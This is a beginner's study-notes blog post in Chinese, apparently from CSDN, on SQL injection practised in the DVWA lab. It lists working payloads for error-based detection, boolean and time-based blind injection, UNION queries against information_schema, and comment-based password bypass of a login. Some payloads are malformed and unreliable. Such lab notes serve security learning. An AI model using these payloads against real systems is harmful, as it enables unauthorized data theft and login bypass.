SQL注入初学者笔记

文章详细描述了在DVWA靶场中进行SQL注入的过程,包括利用错误语法判断注入点,通过布尔盲注和时间盲注技术测试数据库,以及如何通过联合查询获取信息。同时提到了不同安全级别下注入方法的差异,如利用注释符号绕过密码验证。
摘要由CSDN通过智能技术生成

这是一篇对基础的sql注入练习过程,可能会比较乱,请多谅解

靶场:dvwa

注入有get和post,post相对安全一点

先判断是否存在注入和注入类型:

  1. 设置安全性

2.在sql injection输入了错误语法返回值:(1‘or’1‘=1 )

3.先进入dvwa数据库进行一个正常查询

select * from users where user_id=1;

后面进行用表达式查询

经过多次查询发现userID满足逻辑表达式(and和or),漏洞的原因就是因为后台的sql代码的user_id值加了引号。从而可以查询到多条记录。

点击出现错误,提示是这一行错误,去掉[0]即可

——逻辑式得知可以进行字符型的注入。

用排序语句测验查询使用了几条字段

Order by 1时

=2时

得知使用了两条字段

基于布尔的盲注

Eg:优先级来判断用户是否存在

1' and(select if(1=1,1,0));#     这时存在,

1' and(select if(1=21,0));#          不存在

因为先执行括号里面,又是and连接。

猜测数据库名

1' and (select if(ascii(substring(database(), 1, 1))<ascii('e), 1, 0));#

返回错误

1' and (select if(ascii(substring(database(), 1, 1))<ascii('d), 1, 0));#

返回错误

2.基于时间的盲注

id= 1'; select if(current_user() LIKE 'root%', 0, sleep(5));#

得知是否存在数据库

Post注入:

将安全级别设置为low

1' and(select if(1=1,1,0));#

判断sql注入是否存在

  1. 先判断参数类型

根据数据库的反馈来判断

攻击路径:通过向

Select if(user()=’root’,’yes; ‘no’)

Select if(1,’root’,’yes; ‘no’)

那怎么让web服务器回答问题

用union连接IF语句

比如

Id=1’ union select if(1=2);#

探测数据库模式获得更多信息

2' union select null,table_schema from information_schema.tables;#

利用数据库信息配置数据库得知了当前的数据库名

利用where语句对inform表进行限制查出dvwa数据库下有两张表

接着查出数据库下的字段名

2' union select null,column_name from information_schema.columns where table_schema='dvwa';#

优化查询,查出列所属表

查询users的字段值

盲注

1.将安全级别设置为中等

2.利用火狐浏览器的拦截请求

3.改变拦截已达到目的

——进行联合查询

时间注入

id= 1'; select if(current_user() LIKE 'root%', 0, sleep(5));#

利用信息表查询数据库名等信息

id=1 union select table_schema,table_name from information_schema.table&Submit=Submit

利用注释符号进行SQL注入

尝试输入#这种注释,成功

select * from users where user_id='1';#'

将#换成/**/ 返回错误

select * from users where user_id='1';/**/';

观察SQL语句知道,最后的单引号没有闭合,注释只对//内生效。

2.登录模块的SQL测试force)

进入数据后台知道用户的密码经过了MD5加密

利用#号进行测试

成功利用#号不要密码登录成功

select * from users where user='admin';# and password='md5(password)';

观察SQL语句得知,利用#好作用将后面的所有都注释掉了

(2)查询所有用户

select user from users

就可以让其他用户也不用密码登录

用 - -  注释

select * from users where user='pablo';-- and password='md5(password)';

发现将密码注释掉,注意后面敲一下空格。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值